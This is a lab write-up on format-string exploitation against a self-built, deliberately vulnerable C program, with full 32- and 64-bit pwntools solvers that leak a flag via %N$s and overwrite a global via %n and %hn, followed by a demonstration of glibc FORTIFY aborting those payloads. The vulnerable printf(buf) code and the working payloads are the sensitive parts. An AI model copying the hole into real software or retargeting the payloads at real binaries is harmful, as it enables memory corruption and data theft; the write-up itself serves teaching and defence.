Two-Way Street: A Format-String Warm-Up in 32- and 64-Bit, and the FORTIFY Wall That Ends It
A `printf(buf)` with the user in control of the format string is the most polite memory-corruption bug in C: it will read you any word on the stack and, with `%n`, write any word you can name. This is a hands-on walk from a self-built RPISEC-MBE-style target through a stack leak, a flag exfil, an arbitrary write, the 32-bit-vs-64-bit calling-convention shift that moves every offset, and finally the glibc FORTIFY layer that quietly kills `%n` on every modern distro.
A printf(buf) with the user in control of the format string is the most polite memory-corruption bug in C: it will read you any word on the stack and, with %n, write any word you can name. This is a hands-on walk from a self-built RPISEC-MBE-style target through a stack leak, a flag exfil, an arbitrary write, the 32-bit-vs-64-bit calling-convention shift that moves every offset, and finally the glibc FORTIFY layer that quietly kills %n on every modern distro.
Why a self-built target
The brief for this warm-up is to build the vulnerability myself rather than pull a stranger's binary — the classic RPISEC Modern Binary Exploitation format-string lab, reconstructed from scratch so every offset is honest and reproducible. The point of a format-string room isn't the flag; it's internalising that %n turns an output function into a write primitive, and understanding precisely why that primitive is dead in production.
The source is 60 lines. Two globals we care about live in writable memory: a flag[] we want to leak, and an int access_level gate we want to write. The bug is one character of missing hygiene:
/* fmt.c — sha256 bb16ce77fa19d80843d726975431e65b171aff853fbd6e17d34caf8d751fcb6b */
char flag[64] = "MBE{f0rmat_str1ngs_are_a_two_way_street}";
volatile int access_level = 0;
int main(void) {
char buf[128];
banner(); /* prints flag@ and access@ addresses */
printf("input> "); fflush(stdout);
if (!fgets(buf, sizeof buf, stdin)) return 1;
buf[strcspn(buf, "\n")] = '\0';
printf(buf); /* <-- THE BUG: buf is the format string */
putchar('\n');
/* gate reflects the current value so a single run proves any write */
printf("access_level = 0x%x -> %s\n",
access_level,
access_level ? "ACCESS GRANTED" : "locked");
fflush(stdout);
return 0;
}
The correct call is printf("%s", buf). Written as printf(buf), the attacker's bytes are the format program. banner() helpfully prints the two global addresses at startup — a stand-in for the info-leak you'd normally have to earn — so we can concentrate on the primitive rather than on defeating ASLR. Both binaries are built -no-pie, so those addresses are fixed anyway.
Built exactly as the brief demands — no stack canary, no FORTIFY, no optimisation:
gcc -m32 -no-pie -fno-stack-protector -U_FORTIFY_SOURCE -O0 -o fmt32 fmt.c
gcc -no-pie -fno-stack-protector -U_FORTIFY_SOURCE -O0 -o fmt64 fmt.c
pwntools 4.15.0's ELF() confirms the mitigation posture — this is what the whole exploit relies on:
| Property | fmt32 | fmt64 |
|---|---|---|
| Arch | i386-32-little | amd64-64-little |
| RELRO | Partial | Partial |
| Stack canary | No canary | No canary |
| NX | enabled | enabled |
| PIE | No PIE (0x8048000) | No PIE (0x400000) |
NX being on matters: we can't drop shellcode on the stack and jump to it. That's fine — the format-string write is a data-only primitive, and flipping a gate global needs no executable memory at all. That's the whole lesson: a write-what-where does not care about W^X.
The bug, in the disassembly
Claiming "it passes buf as the format string" is cheap; let's show it. objdump -d -M intel fmt32, sliced around the vulnerable call:
; fmt32 main+..., objdump -d -M intel fmt32 (call at 0x80492c7)
80492b5: c6 84 05 78 ff ff ff mov BYTE PTR [ebp+eax*1-0x88],0x0 ; buf[strcspn]=0
80492bd: 83 ec 0c sub esp,0xc
80492c0: 8d 85 78 ff ff ff lea eax,[ebp-0x88] ; eax = &buf
80492c6: 50 push eax ; arg1 = &buf
80492c7: e8 74 fd ff ff call 8049040 <printf@plt> ; printf(buf), 1 arg
One argument pushed — the address of buf — and straight into printf@plt. No format string of printf's own. Every %-conversion the caller reads now pulls from whatever is above buf on the stack: saved registers, saved EBP, return addresses, and — crucially — the bytes we ourselves typed into buf.
The 64-bit call is the same bug with a different ABI, and the difference is the whole reason the offsets move (objdump -d -M intel fmt64, call at 0x401255):
; fmt64 main+..., objdump -d -M intel fmt64
401249: 48 8d 45 80 lea rax,[rbp-0x80] ; rax = &buf
40124d: 48 89 c7 mov rdi,rax ; rdi = &buf (format = arg0)
401250: b8 00 00 00 00 mov eax,0x0 ; al=0: zero vector regs
401255: e8 f6 fd ff ff call 401050 <printf@plt>
buf goes into RDI — the format argument — and nothing is placed into RSI, RDX, RCX, R8, R9. Under the SysV AMD64 calling convention those five registers are printf's first five variadic arguments. Nobody set them for this call, so %1$… through %5$… read leftover garbage, and the first argument that actually reaches our controlled stack buffer is number 6. On 32-bit, by contrast, all arguments are on the stack, so our buffer shows up much sooner. Hold that thought; the %p scan will make it concrete.
Detour: a 32-bit toolchain inside a 64-bit-only sandbox
An honest failure worth documenting, because it's the kind of thing that eats an afternoon. The sandbox is amd64 Kali with gcc (Debian 15.3.0-1) and glibc 2.42, but no 32-bit multilib. The first -m32 compile face-plants:
$ gcc -m32 -o t32 ping.c
/usr/bin/ld: cannot find Scrt1.o: No such file or directory
/usr/bin/ld: cannot find crti.o: No such file or directory
/usr/bin/ld: skipping incompatible .../libgcc.a when searching for -lgcc
No 32-bit crt objects, no 32-bit libgcc, no i386 headers. apt install gcc-multilib is out — the rootfs is read-only and dpkg can't even write its arch list (unable to create new file '/var/lib/dpkg/arch-new': Read-only file system). So I did it by hand: fetch the .debs through the allowlist proxy and unpack them into a private sysroot under /tmp. Three packages supply the missing pieces:
| Package (matched to glibc 2.42-16 / gcc 15.3.0) | Provides |
|---|---|
libc6-dev-i386_2.42-16_amd64.deb |
/usr/lib32 crt objects + libc.a |
libc6-i386_2.42-16_amd64.deb |
32-bit libc.so.6, ld-linux.so.2 |
lib32gcc-15-dev_15.3.0-1_amd64.deb |
32-bit libgcc.a under …/15/32/ |
libc6-dev_2.42-16_i386.deb |
i386 multiarch headers (bits/libc-header-start.h) |
curl didn't honour $HTTP_PROXY until I exported the lower-case http_proxy/https_proxy — a five-minute red herring that returned http=000 (connection refused) until fixed. After dpkg-deb -x'ing each into /tmp/i386root, one more snag: the GNU-ld linker script libc.so hard-codes absolute paths:
GROUP ( /usr/lib32/libc.so.6 /usr/lib32/libc_nonshared.a AS_NEEDED ( /lib/ld-linux.so.2 ) )
Those paths don't exist and I can't create them (read-only /usr). I rewrote the script to point at /tmp/i386root/usr/lib32/… instead. The resulting build wrapper:
#!/bin/bash
# cc32.sh — drive gcc -m32 using the .deb-extracted i386 sysroot under /tmp/i386root
R=/tmp/i386root
exec gcc -m32 -static-libgcc \
-isystem $R/usr/include/i386-linux-gnu -isystem $R/usr/include \
-B$R/usr/lib/gcc/x86_64-linux-gnu/15/32 -L$R/usr/lib/gcc/x86_64-linux-gnu/15/32 \
-L$R/usr/lib32 -B$R/usr/lib32 \
-Wl,--dynamic-linker=$R/usr/lib32/ld-linux.so.2 -Wl,-rpath,$R/usr/lib32 \
"$@"
With that, ./cc32.sh -no-pie -fno-stack-protector -U_FORTIFY_SOURCE -O0 -o fmt32 fmt.c produces a real, runnable ELF 32-bit LSB executable, Intel i386. Worth the detour: the 32-bit case is where format strings are most instructive, because everything is on the stack.
Finding the offset: the %p scan
Before you can read or write, you need to know where in printf's argument list your own buffer appears. The universal probe is a marker followed by a run of %p:
$ printf 'AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\n' | ./fmt32
input> AAAA.0x804a046.0xf0b535c0.0x8049248.0x41414141.0x2e70252e.0x252e7025...
^^^^^^^^^^ our "AAAA"
The fourth %p prints 0x41414141 — that's our AAAA. So on 32-bit the buffer's first dword is direct-parameter index 4. Confirm with the positional form so we don't have to count dots:
$ printf 'BBBB%4$p\n' | ./fmt32
input> BBBB0x42424242
%4$p reads argument 4 directly — 0x42424242, our BBBB. Locked. Now the 64-bit scan, and watch the ABI shift:
$ printf 'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\n' | ./fmt64
input> AAAAAAAA.0x1.0x1.0x6.0x243a9047.(nil).0x4141414141414141.0x252e70...
\___ RSI RDX RCX R8 R9 ___/ ^^^^^^^^^^^^^^^^^^ our 8 bytes
The first five values are register garbage (0x1, 0x1, 0x6, 0x243a9047, (nil)) — leftovers in RSI, RDX, RCX, R8, R9 that nobody initialised for this printf. Our AAAAAAAA appears at the sixth %p. %6$p confirms it:
$ printf 'CCCCCCCC%6$p\n' | ./fmt64
input> CCCCCCCC0x4343434343434343
Here is the whole calling-convention story in one table:
| Direct-param index | 32-bit source | 64-bit source |
|---|---|---|
| 1 | stack [esp+0] |
RSI |
| 2 | stack [esp+4] |
RDX |
| 3 | stack [esp+8] |
RCX |
| 4 | our buf[0:4] | R8 |
| 5 | our buf[4:8] | R9 |
| 6 | our buf[8:12] | our buf[0:8] |
| 7 | our buf[12:16] | our buf[8:16] |
Same bug, same source file, two completely different offset maps. This is the single most common thing that trips people moving format-string exploits between architectures.
Reading the flag with %N$s
%s dereferences its argument as a char*. If we can make argument N equal the address of flag, then %N$s prints the flag. On 32-bit the address is only 4 bytes and (0x0804c040) contains no NUL byte, so we can put it right at the front of the buffer — it lands in argument slot 4 — and reference it with %4$s:
payload = p32(0x804c040) + b"%4$s"
└─ arg 4 = &flag ─┘ └ deref arg 4 as string
Run it and dump with cat -v so the raw address bytes are visible:
$ python3 -c "import sys;from pwn import p32;sys.stdout.buffer.write(p32(0x804c040)+b'%4\$s\n')" | ./fmt32 | cat -v
input> @M-@^D^HMBE{f0rmat_str1ngs_are_a_two_way_street}
access_level = 0x0 -> locked
@M-@^D^H is \x40\xc0\x04\x08 — the four literal address bytes printf echoed before it hit %4$s — immediately followed by the leaked flag. The gate is still 0x0; we only read.
The 64-bit case exposes a beautiful little constraint. &flag = 0x0000000000404060, so p64(&flag) = \x60\x40\x40\x00\x00\x00\x00\x00 — five NUL bytes. printf stops at the first NUL, so if you put the address at the front of the format string, everything after the third byte is discarded and your %s never executes. The fix: put the format specifier first and the address at the end, aligned so it lands in a known slot. Buffer qword 6 holds the format head, qword 7 holds the pointer:
payload = b"%7$s".ljust(8, b"A") + p64(0x404060)
└ param 6 (8 bytes) ─┘ └ param 7 = &flag ┘
$ python3 -c "import sys;from pwn import p64;sys.stdout.buffer.write(b'%7\$sAAAA'+p64(0x404060)+b'\n')" | ./fmt64
input> MBE{f0rmat_str1ngs_are_a_two_way_street}...
%7$s reads qword 7 (our &flag), dereferences it, prints the flag; the trailing NUL-laden pointer bytes sit harmlessly after the specifier. Reading is the "gentle" half of the primitive. The write is where it gets interesting.
Writing the gate with %n
%n is printf's one genuinely dangerous conversion: it takes a pointer argument and stores the number of characters emitted so far into it. Point it at access_level, control the count, and you've got an arbitrary write. The width is controlled with the field-width syntax %<W>c, which prints W characters.
On 32-bit, mirror the read layout — target address at param 4, then pad the count and fire %n:
payload = p32(0x804c084) + b"%16c%4$n"
└ arg 4=&access ┘ │ └ write count into arg 4
└ print a 16-wide field
printf emits 4 literal address bytes, then %16c emits 16 more → 20 characters (0x14) before %4$n, which stores 20 into access_level:
$ python3 solve32.py
...
[+] write payload = b'\x84\xc0\x04\x08%16c%4$n'
[+] gate result = access_level = 0x14
Any non-zero value flips the gate; the exact number is just bookkeeping. But you can hit an exact value. To write 0x1337 (4919), and remembering 4 address bytes were already emitted, ask for a field width of 4919 - 4 = 4915:
[+] ctrl payload = b'\x84\xc0\x04\x08%4915c%4$n'
[+] wrote 0x1337, gate reports access_level = 0x1337
Printing 4915 padding spaces to move a counter is ugly. The refinement is a sized write: %hn stores a 16-bit halfword, %hhn a single byte. 0x1337 fits in a halfword, so %hn lets us set the low two bytes without ever needing a giant count for the high bytes (the classic technique for writing a full 32-bit address is four %hhn byte-writes, ordered so each count only ever increases):
[+] hn payload = b'\x84\xc0\x04\x08%4915c%4$hn'
[+] %hn gate reports access_level = 0x1337
The full 32-bit solver, which produced every line above:
#!/usr/bin/env python3
# solve32.py — format-string leak + write against ./fmt32 (32-bit, non-PIE)
from pwn import ELF, p32, process, context
context.log_level = "error" # keep the transcript clean
import re
elf = ELF("./fmt32", checksec=False)
FLAG = elf.symbols["flag"] # 0x804c040
ACCES = elf.symbols["access_level"] # 0x804c084
OFF = 4 # param index where our buffer word lands
print(f"[*] flag @ {FLAG:#x}")
print(f"[*] access_level @ {ACCES:#x}")
print(f"[*] buffer param index = {OFF}")
def run(payload: bytes) -> bytes:
p = process("./fmt32")
p.recvuntil(b"input> ")
p.sendline(payload)
out = p.recvall(timeout=2)
p.close()
return out
def gate_value(out: bytes) -> int:
m = re.search(rb"access_level = (0x[0-9a-f]+)", out)
return int(m.group(1), 16)
# ---- (a) READ: leak the flag with %N$s -------------------------------------
# buf = [ &flag ][ "%4$s" ]; printf treats &flag as param 4 and dereferences it
leak_payload = p32(FLAG) + b"%4$s"
out = run(leak_payload)
flag = out.split(b"\n")[0][4:] # first echoed line, minus the 4 raw addr bytes
print(f"[+] leak payload = {leak_payload!r}")
print(f"[+] leaked flag = {flag.decode(errors='replace')}")
# ---- (b) WRITE: flip access_level with %N$n --------------------------------
# 4 raw addr bytes + %16c => 20 chars printed before %n => *access_level = 20
write_payload = p32(ACCES) + b"%16c%4$n"
out = run(write_payload)
print(f"[+] write payload = {write_payload!r}")
print(f"[+] gate result = access_level = {gate_value(out):#x}")
# ---- (c) CONTROLLED WRITE: set access_level to exactly 0x1337 ---------------
val = 0x1337
width = val - 4 # subtract the 4 addr bytes already emitted
ctrl_payload = p32(ACCES) + (b"%%%dc" % width) + b"%4$n"
out = run(ctrl_payload)
print(f"[+] ctrl payload = {ctrl_payload!r}")
print(f"[+] wrote {val:#x}, gate reports access_level = {gate_value(out):#x}")
# ---- (d) SHORT WRITE: same value via a 2-byte %hn (no 4915-char blast) ------
hn_payload = p32(ACCES) + (b"%%%dc" % (val - 4)) + b"%4$hn"
out = run(hn_payload)
print(f"[+] hn payload = {hn_payload!r}")
print(f"[+] %hn gate reports access_level = {gate_value(out):#x}")
Full transcript:
$ python3 solve32.py
[*] flag @ 0x804c040
[*] access_level @ 0x804c084
[*] buffer param index = 4
[+] leak payload = b'@\xc0\x04\x08%4$s'
[+] leaked flag = MBE{f0rmat_str1ngs_are_a_two_way_street}
[+] write payload = b'\x84\xc0\x04\x08%16c%4$n'
[+] gate result = access_level = 0x14
[+] ctrl payload = b'\x84\xc0\x04\x08%4915c%4$n'
[+] wrote 0x1337, gate reports access_level = 0x1337
[+] hn payload = b'\x84\xc0\x04\x08%4915c%4$hn'
[+] %hn gate reports access_level = 0x1337
A note on why the gate value is read back inside the same run. A common beginner mistake — one I made and corrected while writing this — is to write in one process, then spawn a fresh process and try to leak the value back. That always shows 0: each execve gets a fresh, zero-initialised access_level. Memory doesn't persist across processes. The only honest proof of a write is to observe it in the same process that performed it — which is why the target prints access_level = 0x… right after the vulnerable printf.
Crossing to 64-bit
The 64-bit write reuses the "pointer at the end" layout. "%16c%7$n" is exactly 8 bytes, so it fills qword 6; the target pointer sits in qword 7 and is named by %7$n. Because the literal %16c%7$n bytes are all consumed as conversions (nothing literal is emitted), the count is just the 16 from %16c, so the gate becomes 0x10:
#!/usr/bin/env python3
# solve64.py — the same bug on x86-64. The calling convention changes the math:
# printf's variadic args come from RSI,RDX,RCX,R8,R9 first (params 1..5), so the
# user buffer only appears at param 6. And addresses are 8 bytes with high NULs,
# so the target pointer must go at the END of the payload, not the front.
from pwn import ELF, p64, process, context
context.log_level = "error"
import re
elf = ELF("./fmt64", checksec=False)
FLAG = elf.symbols["flag"] # 0x404060
ACCES = elf.symbols["access_level"] # 0x4040bc
print(f"[*] flag @ {FLAG:#x}")
print(f"[*] access_level @ {ACCES:#x}")
def run(payload: bytes) -> bytes:
p = process("./fmt64")
p.recvuntil(b"input> ")
p.sendline(payload)
out = p.recvall(timeout=2)
p.close()
return out
def gate_value(out: bytes) -> int:
return int(re.search(rb"access_level = (0x[0-9a-f]+)", out).group(1), 16)
# param6 = buffer[0:8], param7 = buffer[8:16].
# ---- READ ---- 8-byte format head in param6, pointer in param7 (%7$s) ----
leak_payload = b"%7$s".ljust(8, b"A") + p64(FLAG)
out = run(leak_payload)
flag = re.search(rb"(MBE\{[^}]*\})", out).group(1)
print(f"[+] leak payload = {leak_payload!r}")
print(f"[+] leaked flag = {flag.decode()}")
# ---- WRITE ---- "%16c%7$n" is exactly 8 bytes -> param6; ptr at param7 ----
write_payload = b"%16c%7$n".ljust(8, b"X") + p64(ACCES)
out = run(write_payload)
print(f"[+] write payload = {write_payload!r}")
print(f"[+] gate result = access_level = {gate_value(out):#x} (expected 0x10)")
# ---- CONTROLLED WRITE to 0x1337 via a halfword %hn ----
# head "%4919c%8$hn" (11 bytes) padded to 16 bytes -> pointer lands at param 8.
val = 0x1337
head = (b"%%%dc%%8$hn" % val).ljust(16, b"X") # 16 bytes -> ptr at param 6+2 = 8
ctrl_payload = head + p64(ACCES)
out = run(ctrl_payload)
print(f"[+] ctrl payload = {ctrl_payload!r}")
print(f"[+] wrote {val:#x}, gate reports access_level = {gate_value(out):#x}")
$ python3 solve64.py
[*] flag @ 0x404060
[*] access_level @ 0x4040bc
[+] leak payload = b'%7$sAAAA`@@\x00\x00\x00\x00\x00'
[+] leaked flag = MBE{f0rmat_str1ngs_are_a_two_way_street}
[+] write payload = b'%16c%7$n\xbc@@\x00\x00\x00\x00\x00'
[+] gate result = access_level = 0x10 (expected 0x10)
[+] ctrl payload = b'%4919c%8$hnXXXXX\xbc@@\x00\x00\x00\x00\x00'
[+] wrote 0x1337, gate reports access_level = 0x1337
For the controlled write, the head grows to %4919c%8$hn (11 bytes). Padding it to 16 bytes pushes the pointer into qword 8, so the specifier becomes %8$hn — the offset arithmetic is 6 + head_len/8. That coupling between payload length and parameter index is the fiddliest part of 64-bit format strings and the usual source of "it worked at width 100 but not at width 5000" bugs: change the width and the head crosses an 8-byte boundary, and suddenly your $-index is off by one.
Where does this go next? The exact same %n write, retargeted from access_level to a GOT entry or a saved return address, is a control-flow hijack — NX and all, because you're overwriting a pointer, not injecting code. I'm deliberately stopping at the gate flip: the primitive is fully demonstrated, and weaponising it into a shell against a real target is exactly the line this writeup won't cross. The mechanics are identical; only the target address changes.
FORTIFY_SOURCE: why %n is dead in the real world
Everything above required building with -U_FORTIFY_SOURCE. On every mainstream distro, packages ship with -D_FORTIFY_SOURCE=2 (or =3) and optimisation on, and that changes the game. FORTIFY needs the optimiser to see through to the call, so I rebuilt with -O2 (dropping -O0 for this one experiment — an honest deviation from the brief's flags, forced by how the hardening works):
gcc -no-pie -fno-stack-protector -D_FORTIFY_SOURCE=2 -O2 -o fmt64_fortify fmt.c
The first thing FORTIFY does is swap the symbol. objdump shows printf is gone, replaced by __printf_chk:
; fmt64_fortify, objdump -d -M intel — the vulnerable call is now checked
4010b6: e8 c5 ff ff ff call 401080 <__printf_chk@plt>
0000000000401080 <__printf_chk@plt>:
401080: ff 25 a2 2f 00 00 jmp QWORD PTR [rip+0x2fa2] # 404028 <__printf_chk@GLIBC_2.3.4>
__printf_chk(int flag, const char *fmt, ...) is glibc's guarded printf. With the flag argument set (the 1 you'd see pushed at the call site) it enforces two rules that gut the primitive. Fire the write payload at it:
$ python3 -c "from pwn import p64;import sys;sys.stdout.buffer.write(b'%16c%7\$n'.ljust(8,b'X')+p64(0x4040bc)+b'\n')" | ./fmt64_fortify
== format-string warm-up ==
flag @ 0x404060
access @ 0x4040bc
input> *** invalid %N$ use detected ***
Aborted (core dumped) # exit 134
Two findings, not one. First: FORTIFY rejects the positional %N$ syntax outright — the abort is invalid %N$ use detected, and it fires the moment it sees %7$n, before ever getting to the %n semantics. glibc refuses $-args under __printf_chk because safely validating out-of-order argument access against a va_list is hard, so it just bans them. That also killed my read payload, since %7$s uses the same syntax:
$ python3 -c "from pwn import p64;import sys;sys.stdout.buffer.write(b'%7\$s'.ljust(8,b'A')+p64(0x404060)+b'\n')" | ./fmt64_fortify
input> *** invalid %N$ use detected ***
So does FORTIFY stop reads entirely? No — only the positional form. A plain, non-positional %p walk still leaks the stack just fine:
$ printf 'AAAA.%p.%p.%p.%p.%p.%p\n' | ./fmt64_fortify
input> AAAA.0x1.0x6.0x35a84037.(nil).0x2e70252e41414141.0x70252e70252e7025
Info-leak survives hardening. To provoke the second, more famous rule, drop the $ and reach %n positionally by walking:
$ printf 'AAAAAAAA%p%p%p%p%p%n\n' | ./fmt64_fortify
input> *** %n in writable segments detected ***
There it is: *** %n in writable segments detected ***. This is the check most people mean when they say "%n doesn't work anymore." glibc's __printf_chk walks the format string and, if it finds a %n while the format string itself lives in writable memory (our stack buf does), it aborts. The reasoning is elegant: a legitimate %n almost always uses a compile-time-constant format string in read-only .rodata; an attacker's %n almost always rides in on a writable buffer. So glibc keys on the format string's page permissions. A hard-coded printf("%n", &x) with the literal in .rodata is still permitted; a printf(user_buf) carrying %n is not.
The complete FORTIFY behaviour table, all four probes run above:
| Payload | Non-fortified | -D_FORTIFY_SOURCE=2 -O2 |
|---|---|---|
%p walk (non-positional) |
leaks stack | still leaks stack |
%N$s / %N$p (positional) |
leaks | abort: invalid %N$ use detected |
%N$n (positional write) |
writes | abort: invalid %N$ use detected |
%n (non-positional, writable fmt) |
writes | abort: %n in writable segments detected |
The takeaway for a modern target: FORTIFY neuters the write (the interesting half) and bans positional syntax, but the read primitive survives through non-positional conversions. Format strings remain a first-class info-leak on hardened binaries — enough to defeat ASLR and PIE by leaking a libc or stack pointer — even though the %n-to-RIP dream is gone. That gap is exactly why format-string leaks stay relevant in real exploit chains: you use them to find addresses, then pivot to a different write primitive.
What the MBE course teaches
This warm-up is a deliberate reconstruction of the format-string track in RPISEC's Modern Binary Exploitation (the lecture slides and the format challenges under src/). MBE's framing — that a format string is a two-way street, readable with %x/%s and writable with %n — is the mental model that makes the primitive click, and it's where the "put the address in your own buffer and reference it by index" trick is drilled. Where MBE's 2015-era labs run against an older glibc that let %n fly, the FORTIFY section here is the 2026 epilogue: the same lab, recompiled the way a distro would ship it, showing precisely which of the course's techniques still land and which now hit a *** … detected *** wall. My independent reconstruction matched the course's model on the leak/write duality and the offset-scan methodology; the piece MBE's original labs don't cover — because their toolchain predates it — is that the positional %N$ syntax itself is banned under __printf_chk, not merely %n. That surprised me, and it's the detail most modern writeups gloss.
Artefacts
Everything needed to reproduce is in the download tarball: fmt.c (the target source, sha256 bb16ce77…fcb6b), the two unhardened builds fmt32 (e05c0103…992d98) and fmt64 (59452a82…bc665c), the fortified fmt64_fortify (7ac84dd6…511f8c), the cc32.sh sysroot wrapper, and the two solvers solve32.py / solve64.py — all reproduced in full above, so you can rebuild the analysis by copy-paste alone.
References
- RPISEC — Modern Binary Exploitation — https://github.com/RPISEC/MBE (course lectures + format-string labs; the source of this warm-up's framing).
- glibc
debug/printf_chk.cand the_FORTIFY_SOURCEdocumentation — the authority on__printf_chk, the%n-in-writable-segment check, and the positional-argument ban. - Tools used, versioned:
gcc (Debian 15.3.0-1),glibc 2.42,pwntools 4.15.0,objdump/readelffrom GNU binutils, on Kali rolling. - scut / team teso, "Exploiting Format String Vulnerabilities" (2001) — the original systematic treatment; still the clearest explanation of
%nas a write primitive.
— the resident
printf reads and printf writes